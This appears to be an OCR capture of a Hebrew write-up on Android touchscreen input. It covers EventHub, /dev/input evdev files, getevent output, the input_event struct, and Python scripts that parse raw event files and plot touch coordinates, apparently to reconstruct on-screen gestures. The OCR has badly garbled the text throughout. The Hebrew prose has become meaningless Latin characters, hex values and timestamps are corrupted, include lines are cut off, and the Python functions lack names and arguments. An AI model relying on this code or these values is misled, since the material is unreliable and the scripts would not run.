#define INPUT_MODULE_API_VERSION 1_© HARDWARE_MODULE_API_VERSION(1, ©)
#define INPUT_HARDWARE_MODULE_ID "input™

#define INPUT_INSTANCE_EVDEV "evdev"
ed input_bus {
INPUT BUS_BT,
INPUT_BUS_USB,
INPUT_BUS_SERIAL,
INPUT_BUS BUILTIN

} input_bus_t;

12N XIXNT 721X P17 OX .NXY 'WON7 077 01NN N7Y DIKIAN DY DX DN QIWNYT Y7 DA

V2M01 aRID )R YOoN 7'NNN XD .NAIYNYT YR IR timestamp 12102 77100 DM

:StackOverflow-2 ITh N2IWNY7 'Myan ,MotionEvent-71 T'RNTIX? MWFW 12T 75 MNR wI9'N 170n2

The first place | would look at in in frameworks/base/libs/ui/EventHub.cpp, it will go through
Jdev/input to find the different input devices on your platform and what “"kind” of input those are.

More...

Mext step is in framewarks/base/services/jni/com_android_server_KeylnputQueue.cpp and
v frameworks/base/services/java/com/android/server/KeylnputQueue java.

If all you are doing is implementing the input interface for a new piece of hardware, | don't think
you need to do any further than that...

Share Follow edited Dec 4, 2010 at 20:28 answered D

% Matthieu
15.7k » 10 » 58 @85

JJdev/input AW NN PITA7 DAL I'IR D190 KINW IENAN TIR IR RNP7 D277 RN M'WYY [IWRIN 12T
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https://cs.android.com/android/platform/superproject/+/master:hardware/libhardware/include/hardware/hardware.h
https://stackoverflow.com/a/4341422
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X2'NNN XIN PY AN T DY 7NN

frameworks/native/services/inputflinger/reader/EventHub.cpp

ntHub.cpp

#1NCi1uage <egrmo.n-s
#include <fcntl.h>
#include <inttypes
#include <mem
#include <

#include

#include

#include

#include

#include

#include

#include

#include /limits.h>
#include

#include

#include <unistd.h>

#define LOG_TAG "EventHub"

#include <android-b
#include
#include <androi
#include <cutils
#include <i f
#include <i
#include <i
#include <
#include <st
#include <
#include <«
#include <

#include <fi
#include <r

#include "EventHub.h"

.MV NIYNI 21T 72K ,NMYL NAIYNAY 1NN DINX N"'P'NMA NN Yal?n DX 'MRXN

IR NV DNINA DA 7Y 7ON0N7 DWW DR DY NN LMy 12T DIY 'TMIRYA X7 My T

Jdev/input NT NN 21IT2IW "INKR NINT NWY)
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:INQN NTIZON DX YMIII0ZINRD IN NN ,NP7'N NINTY NN NPT NP Tan

PS C:\Users\Dan\AppData\Local\Android\Sdk\platform-tools> .\adb.exe shell

evente®
eventl
eventle
eventll
eventl2
eventl3
event2
event3
eventd
event5
eventé
event7
event8
event9

XN NAIYNA I7|7Iﬂ']| DA'NITIXR DX TIY 772%7 noMn ,events |Mn Y'Y Nk

These are special character files. Opening them with text editor makes no sense; try accessing them
with 'cat’: cat /dev/input/event0

If you create some input on the associated device, like typing on the keyboard, moving the most,
activating a sensor, you should see data. This data in 32 byte 'evdev' (Event Device) structures. Its
better to look at it with something like: od -h /dev/input/event1

They represents Linux user input devices like keyboards, mouse or touchpads. On Android they
represent sensors too. Cn my HTC Wildfire, you can find proximity, light, compass sensors.

You can check your device like that:

# cat /sys/class/input/eventx/device/name
h2w headset

atmel-touchscreen

proximity

buzz-keypad

buzz-nav

lightsensor-level

curcial-oj

compass

Browse /fsys/class/input directory to find out what they are.

When Android boots up EventHub (frameworks/base/services/input/EventHub.cpp in the Android
source) scans all files in /dev/input and queries each (using |OCTLS to query the device name,
version, etc) and creates the appropriate device (like mouse, keyboard, multitouch screen, etc) (by a
mechanism as yet still unknown to ribg)

These 'evdev’ 32 byte structures:

struct input_svent {
struct timeval time;
unsigned short type;
unsigned short code;
unsigned int value;
b

contain the timestamp of the event, the type of the event, the keycode {or mouse relative motion
direction/axis) and a value (such as how much a mouse moved).

43
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https://stackoverflow.com/a/20005849
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117w 0'¥a7N 7W NANN DXV T 7IX L7 W'Y IND timestamp 7'o1w X1 NAIWNN 9102 7700
1INXY2 NTOY input event "0I9N7" AIWOX 'X 71721 .32 7Y 12T N9I1,NNIY 701 0'MAa 24 v 17 7R

N NTIPONW N2, wi9'n ANKY L(...nTay X7 n7yn7 na1wynav nTipon)

adb shell getevent -1

0NN 7V 11NII0T7IN'RA DX TV NPYPZY7ORNY N Y]

ABS_MT_POSITION_Y pepeu9s2
SYN_REPORT Be6e800808
ABS_MT_POSITION_Y pebeu96S5
SYN_REPORT Be66800808
ABS_MT_POSITION_Y pebeu9s7
SYN_REPORT Be0600808
ABS_MT_POSITION_Y 86866U9bb
SYN_REPORT 006600800
ABS_MT_POSITION_X 0068668eb2
SYN_REPORT pe0BBBee
ABS_MT_POSITION_Y pebeU9ee
SYN_REFORT PE066B60
ABS_MT_POSITION_Y gpeeUazl
SYN_REPORT 80080000
ABS_MT_POSITION_Y pepeUasy
SYN_REPORT pepepBon
ABS_MT_POSITION_Y pepeUaTe
SYN_REPORT pe0e6000
ABS5_MT_PRESSURE pe0e6000
ABS5_MT_TRACKING_ID fFFfFFff
SYN_REPORT Be6e800808
ABS_MT_TRACKING_ID Be6e800808
ABS_MT_POSITION_X 806003de9
ABS_MT_POSITION_Y 080068 F

dev/input/event2: EV_ABS
dev/input/event2: EV_SYN
dev/input/event2: EV_ABS
dev/input/event2: EV_SYN
dev/input/event2: EV_ABS
dev/input/event2: EV_SYN
dev/input/event2: EV_ABS
dev/input/event2: EV_SYN
dev/input/event2: EV_ABS
dev/input/event2: EV_SYN
dev/input/event2: EV_ABS
dev/input/event2: EV_SYN
dev/input/event2: EV_ABS
dev/input/event2: EV_SYN
dev/input/event2: EV_ABS
dev/input/event2: EV_SYN
dev/input/event2: EV_ABS
dev/input/event2: EV_SYN
dev/input/event2: EV_ABS
dev/input/event2: EV_ABS
dev/input/event2: EV_SYN
dev/input/event2: EV_ABS
dev/input/event2: EV_ABS
dev/input/event2: EV_ABS

dev/input/event2:
dev/input/event2:
dev/input/event2:
dev/input/event2:
dev/input/event2:

EV_ABS
EV_SYN
EV_ABS
EV_ABS
EV_SYN

ABS_MT_PRESSURE
SYN_REPORT
ABS_MT_PRESSURE

ABS_MT_TRACKING_ID

SYN_REPORT

poeeaden
606060800
866606000
s
866606000

DA TWONY 'M'7'a getevent DV NXp MpN'Uy NXp NN ,0'7'o0n 17w DMIKIANY NN T YR, YRIR

:NTIPON NNTYA (D'YIAR7 DIAN NAYY 19Y) raw D'IYN DR 0'9TNY

adb shell getevent -1
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122100.
122160.
122100.
.1430997]
122100.
.u33978]
122160.
122100.
122160.
122100.
122160.
122100.
122160.
122100.
1221600.
122100.
122100.
122160.
122100.
122160.
122100.
122160.
122100.
1221600.
1221600.4
122100.4
122100.
1221600.
1221600.

1221686

1221686

429259]
429259]
438997]

433978]

438967]
438967]
4uus49]
Luys5u9]
4u598u]
uy598u]
4y9971]
049971]
U54950]
454950]
459845]
4590u5]
u62u82]
0624821
478817]
u78017]
4730827]
473027]

85068]

85068]
693258]
693258]
693258]

/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:

Technologic r

8063
8008
8063
0008
8063
8008
0063
60686
8063
00686
8063
0068
80683
8068
8063
8068
80683
0000
8063
0000
8063
00080
8063
8008
8063
8008
8063
80683
0000

:onn 7y vyl yMa

8036
(oTo]o] 3]
8035
pEEe
8036
peee
8036
Beee
8036
BEee
86835
BEee
8036
BEee
8036
BEee
8835
BEEe
8036
oTo]o]3]
8036
(o711 3]
8035
pEEe
8036
pEEe
803a
86839
BEEe

eeee3fsu
pEEERRER
8088371c
PEEERRAER
0000321
POEEARAER
000083eee
PEEEeEER
00003ebb
PEEEeEER
000636CcH
PEEEeEER
8008399
PEEEeEER
000083e65
PEEEeEER
00083665
pEEEREER
00083e32
pEEEREER
0e0e3dff
pEEERRER
006083629
PEEEARAER
B8883dcc
PEEEARAER
PEEEeEER
ffEFFFf
pEEEREER

NXNIY DDV ' 7D TN ,N7NNN timestamp-n ,117W DMINI'AN NN DTN WA 12 AT Nyd
events-n NX NTNA NI7Y7 AN'n ™Y MIIWUNIN Nnawnnn Jonn 2V AN'TION DX DAYy

.NN DIYN 7 T2y X7 0T 72K, TIAV7 NN sendevent NTIPO NNTY] DX AAY

YTI' IX DT 27w .mxya 1U¥7 DYNn DRI RN INYNYT MYV events-n I 10197 VXK D DX

.LNMI9N NN NIV MNAY7 K7 AN ,NT Y NYY
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:02"Y2 1T NXP 7 NWIVW github 977 y'an 1x,17 AXINN DA IN TI2 DA ,0'WI9'N NN NK

Review

input_event

* time (timeval)
o tv_sec (long)
o tv_usec (long)
s type (_ul6)
s code (_ul6)

e value (_s32)
Flattened: SEC USEC TYPE CODE VALUE

How many bytes is a long ? Well, it's platform-dependent. On a 32-bit platform, you get 32 bits (4 bytes). On a €
platform you get 64 bits (8 bytes). This means that the event is 16 bytes on a 32-bit machine and 24 bytes on a 64-bit

machine. Software will need to accommodate.

.(N7nNN Mawnw 95 8 IX 4 A X71) |NT O'aX'N DDIYKRIN 0'NaAN MUY NYY XN 770 ™™

.01 64 NNNIDV'7O 7V YOIN NTY NXRN1D .yl Lax'm event Dy ThHn ,U'7|7ﬁ Al0O NN D'NAN XRYI

DTIPN NITIPON NNX DX NXNWD 11'RY 10D events-N NX N09'Y TIy 217 NN NY 7D 72 DX

DATA 73 'NTPANN 17 1019'W VOMPO 'MANDI input_event codes.h-1 MUNNWN .1NXYA V1YY

M IvalUh)ak} 7 NONIXK NIRT DX D'Y'OINY 'M'RWY

import os
from struct import unpack
from natsort import natsorted

def (val) :
if val ==
return
if val ==
return
if val ==
return
else:
return val
(val) :
if val == 0x0:
return
if val == 0x35:
return
if val == 0x36:
return
if val == 0x30:
return
if val == 0x31:
return
if val == 0x39:
return
if val == 0x145:
return
if val == 0Oxl4a:
return
else:
return val
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https://github.com/rickhull/device_input
https://cs.android.com/android/platform/superproject/+/master:bionic/libc/kernel/uapi/linux/input-event-codes.h;l=725;drc=061b84c9fc3d203c671e0121ec9924703f0c0e72
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(path to file, count):

open (path to file,
data = f.read()

for i in range (0, len(data),24):
first block = unpack( , data[i:1+8]) [
second block = unpack , data[i+8:1i+1
third block = unpack( ,
fourth block = unpack( , data[i+18:1+2C
fifth block = unpack( , data[i+20:1i+24

third block = parse type (third block)

fourth block = parse code (fourth block)

print (f"time is {first block}.{second block} type is {third block} code
is {fourth block} value is {fifth block}")

files = next (os.walk ('use

files natsorted(files)

count = 1

for count, file in enumerate(files, start=1):
read file( +file, count)

X N, MR K7W event code W'w NI 710! 12D X AWy 7T 7Y 1100190 NIV K7

2273w 0797 NNAIT IT .IRT NN ATNON7 NY7XRY DN

1635161916. 7574434 type is EV_ABS 1s ABS_MT_POSITION_Y value
.757U434 type 1is EV_ABS is ABS TION_X value
7574434 type 1s EV \ 1s S) REPORT value 1is @
.757U434 type is EV_ABS 1 S I
.757U434 type is EV_ABS

L757u434 type is EV_ABS
.757u434 type is EV_SYN : C
.757u434 type is EV_ABS i S_ SITION_Y value
i .757u434 type is EV_ABS i SITION_X value
1635161916.7574434 type is EV_SYN i

.report T~I NIV TIXIP 'NY ¥ XY 7V ITINY 019T W'Y XIN MIYKIN ,NIAIYN NIt nnd72% 0w

0NN 7 Y7 0NN NIRY NTIRI AXM AT AR

QYD 71 NIDTYNN X NOITIXIPZ TIY2 D'NYD NDTYNN y NVITIRIZ DYDY X' NMIYN NTIIN

.(19n7 IX) NNX

NRMIY KIN 'WH9YN QTN LDIR IR Y 7un 0T INIK DKWY X NOITIRIY 7722 0T ARD

.1080x2178 N*'7'UDIX X'NY 1'72W NXI7ITIN 'MINNYT YINA 7752 DN N78N DDWNY
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X2N UOPON NX 'MIAND ,NNINNKRN NITHIN 'MYN NIM7YNNAINIMNY MIYRIN NTI71A AYNnNNa

import os

import matplotlib.pyplot as plt
from struct import unpack

from natsort import natsorted

def (val) :
if val == 0:
return
if val ==
return
if val ==
return
else:
return val
(val) :
if val == 0x0:
return
if val == 0x35:
return
if val == 0x36:
return
if val == 0x30:
return
if val == 0x31:
return
if val == 0x39:
return
if val == 0x145:
return
if val == 0Oxl4a:
return
else:
return val

(path_to file,
xs = []
ys = []
with open(path to file,
data = f.read()

i in range (0, len(data),24):
first block = unpack( , data[i:1+8]) [0
second block = unpack ( , data[i+8:i+16
third block = unpack ( , datal[i+16:1+18
fourth block = unpack( , data[i+18:1+2
fifth block = unpack( , datal[i+20:1i+24
if (fourth block == 0x35):
xs.append (fifth block)
if (fourth block== 0x36) :
ys.append (fifth block)
third block = parse type (third block)
fourth block = parse code (fourth block)
while (len(xs)> len(ys)):
xs .pop ()
while (len(ys)> len(xs)):
ys.pop ()
plt.gca() .invert yaxis ()
plt.scatter(xs, ys)
plt.savefig (f£" {count}.png")
plt.clf ()

files = next (os.walk ('user

files = natsorted(files)

for count, file in enumerate(files, start=1):
read file( +file, count)
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NIRTN NMIYA NKX §'01] N'X1I9N5N
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https://www.linkedin.com/in/idan-strovinsky-b84644146/
https://www.linkedin.com/in/daniel-isakov-220b55207/

